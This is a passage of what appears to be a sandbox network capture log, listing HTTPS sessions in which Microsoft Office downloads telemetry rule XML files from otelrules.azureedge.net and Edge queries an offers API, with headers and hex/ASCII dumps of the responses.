<S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:37 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:37 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 454d907e-001e-00ad-0609-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003837Z-1866b5c5fbbfkdfghC1DFW4sv400000002h000000000nbn5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:37 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:37 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:37 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 0261770d-d01e-002b-1caf-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003837Z-1866b5c5fbbpxkkxhC1DFWhvmc00000003v000000000arsu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:37 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:37 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:37 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 7a5959cf-b01e-0097-4ca5-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003837Z-1866b5c5fbbwlv6nhC1DFWw4bs00000001zg00000000c9ww x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:37 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:37 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:37 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: cfe108d0-801e-0035-77a0-34752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003837Z-1866b5c5fbbpxkkxhC1DFWhvmc00000003x000000000531r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:37 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:38 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:38 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 5e3aaffc-501e-0064-42f8-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003838Z-164f84587bf5rpzqhC1DFWmra800000003f000000000m9v9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:38 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:38 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:38 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 776d52d1-a01e-0032-19c4-371949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003838Z-1866b5c5fbbvz6qbhC1DFWsyms00000002tg0000000074vv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:38 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.6	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:38 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:38 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: cd727bf0-801e-007b-329c-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003838Z-1866b5c5fbbkbjq9hC1DFWf1es00000002m0000000000hxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:39 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.6	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:38 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:38 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003838Z-16547b76f7f5b5tthC1DFWuk84000000023g00000000h1av x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:39 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	49875	94.245.104.56	443	8176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:40 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 00:38:40 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Sun, 17 Nov 2024 00:38:39 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=e5e4197507aadfd116f59447fade3d01fe97a8db2e83bfcd54af3bd128319bb7;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:40 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:40 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:40 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 18d5585a-801e-0015-2dfc-35f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003840Z-16547b76f7fz92z5hC1DFWmdx800000001t000000000ha0z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:40 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:40 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:40 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2374d83a-301e-0020-4b09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003840Z-1866b5c5fbb7km9phC1DFWr2sc00000002gg00000000032w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 00:38:40 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 00:38:40 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 00:38:40 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 00:38:40 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 929893a7-101e-0017-74a6-3747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T003840Z-16547b76f7fr5rfnhC1DFW0am40000000120000000007d7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 00:38:40 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

